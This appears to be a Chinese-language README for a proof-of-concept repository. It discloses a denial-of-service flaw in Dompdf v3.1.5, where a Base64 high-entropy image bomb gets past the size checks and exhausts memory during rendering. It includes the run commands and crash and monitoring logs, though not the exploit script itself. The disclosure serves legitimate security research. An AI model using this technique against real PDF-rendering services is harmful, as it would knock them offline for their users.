本仓库及其内容仅供教育和研究目的使用。作者不对使用此处提供的信息进行的任何滥用、损害或非法活动负责。在测试目标环境之前,请务必获得授权。
Dompdf v3.1.5 存在通过资源耗尽进行拒绝服务(DoS)攻击的漏洞。攻击者可以通过提供一个特制的 HTML 文档(其中包含一张尺寸巨大的图像,例如 30,000x30,000 像素)来使 PHP 进程崩溃。
尽管 Dompdf 实现了内部检查来验证图像尺寸,但可以通过使用以 Base64 编码并包裹在特定 CSS 容器中的高熵图像(例如随机噪声)来绕过这些检查。
标准的纯色图像通常可以被压缩算法或渲染引擎优化。然而,高熵噪声图像会迫使 PHP 引擎逐个处理这 9 亿个像素。当调用 render() 时,引擎会尝试在内存中处理未压缩的位图,并为每个高方差像素数据点计算布局。这会导致:
该漏洞存在的原因是:尺寸验证发生在早期阶段,但在渲染阶段为计算对象的边界框和内部缓冲区而进行的资源分配,并未严格限制单个已通过初始检查的对象的累计 CPU 时间或内存使用量。
https://github.com/user-attachments/assets/d1f5a07b-a7c5-4b5e-84b5-1e47e73522d9
composer require dompdf/dompdf:3.1.5
exploit.py):monitor.py):render.php 的文件。该脚本作为易受攻击的入口点,模拟 Dompdf 库的标准实现:php -d memory_limit=2G render.php < payload.html
以下日志展示了资源耗尽漏洞的成功利用。尽管为 PHP 进程提供了充裕的 2GB 内存限制,单张高熵图像仍会导致致命崩溃。
python3 exploit.py
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html
php -d memory_limit=2G render.php < payload.html
Output
[*] Starting Dompdf rendering process...
PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490
在执行 render.php 进程期间,monitor.py 脚本捕获了以下遥测数据,展示了其对系统资源的影响:
python3 monitor.py
[*] Searching for PHP processes... (Press Ctrl+C to stop)
[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%
未经身份验证的远程攻击者可以通过提交精心构造的 HTML 字符串,对 Web 服务器造成完全的拒绝服务。这会影响任何允许用户提供 HTML 内容或 URL、并随后使用 Dompdf 将其转换为 PDF 的应用程序。